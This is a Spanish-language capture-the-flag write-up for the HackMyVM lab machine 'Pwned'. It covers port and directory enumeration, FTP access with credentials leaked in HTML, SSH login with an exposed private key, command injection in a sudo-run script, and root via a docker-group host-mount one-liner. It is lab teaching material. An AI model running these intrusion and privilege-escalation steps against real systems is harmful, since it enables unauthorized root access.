cd ~/blog

~/writeups/hmv/007-pwned.md

007 - Pwned

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credential Exposure en el código fuente HTMLSSH Private Key Exposure mediante FTPOS Command Injection en un script ejecutable mediante sudoDocker Group Privilege Escalation con acceso al sistema de archivos del host
hackmyvm.eu/machines/machine.php?vm=Pwned

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo de todos los puertos y luego uno específico:

nmap -sC -sV -p21,22,80 -oN 02-targeted 192.168.1.30
Nmap scan report for 192.168.1.30
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
|   256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_  256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Pwned....!!
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:CA:93:4B (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

La web muestra un mensaje del "hacker" y un comentario en el código fuente. Enumeramos directorios con gobuster:

gobuster dir -u http://192.168.1.30 -w ~/Documentos/git-clones/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
/.html                (Status: 403) [Size: 277]
/index.html           (Status: 200) [Size: 3065]
/robots.txt           (Status: 200) [Size: 41]
/nothing              (Status: 301) [Size: 314] [--> http://192.168.1.30/nothing/]
/.html                (Status: 403) [Size: 277]
/server-status        (Status: 403) [Size: 277]
/hidden_text          (Status: 301) [Size: 318] [--> http://192.168.1.30/hidden_text/]

El robots.txt apunta a /nothing (vacío). En /hidden_text encontramos un archivo secret.dic, que usamos como diccionario para un nuevo fuzzing:

gobuster dir -u http://192.168.1.30 -w secret.dic -x php,txt,html
/pwned.vuln           (Status: 301) [Size: 317] [--> http://192.168.1.30/pwned.vuln/]

/pwned.vuln contiene un login cuyo código fuente filtra unas credenciales, que resultan ser del servicio FTP:

❯ ftp 192.168.1.30
Connected to 192.168.1.30.
220 (vsFTPd 3.0.3)
Name (192.168.1.30:wh01s17): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Acceso inicial mediante una clave SSH expuesta

En el FTP hay una carpeta share con una clave RSA y un .txt que contiene un nombre de usuario. Usamos la id_rsa (con permisos 600) y el usuario ariana para entrar por SSH:

❯ ssh -i id_rsa ariana@192.168.1.30
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jul 10 13:03:23 2020 from 192.168.18.70
ariana@pwned:~$

Movimiento lateral a selena

Obtenemos la primera flag. Para la escalada, revisamos sudo -l:

Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh

Podemos ejecutar messenger.sh como selena. Al revisar el script vemos que guarda el mensaje en la variable msg y después ejecuta su contenido mediante la línea $msg 2>/dev/null. Esta OS Command Injection convierte el mensaje en una orden. Por eso, introducir /bin/bash inicia una shell en lugar de mostrar texto. Como sudo lanzó el script con la identidad de selena, el proceso hijo también pertenece a esa usuaria. Capturamos la segunda flag.

Escalada de privilegios

sudo -l y la búsqueda de binarios SUID no dan resultados, pero al ejecutar id vemos que pertenecemos al grupo docker:

selena@pwned:/usr/share$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

Abusamos del grupo docker (Privileged Groups Privesc) para montar el host en un contenedor y obtener root:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Pertenecer a docker equivale en la práctica a acceso root. El daemon acepta montar / del host dentro del contenedor; chroot /mnt cambia la raíz visible al sistema real y la shell puede modificarlo con privilegios administrativos.

Las notas registran que el contenedor permitió acceder como root y recuperar la última flag, aunque no conservaron el prompt ni una salida de identidad de esa shell.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados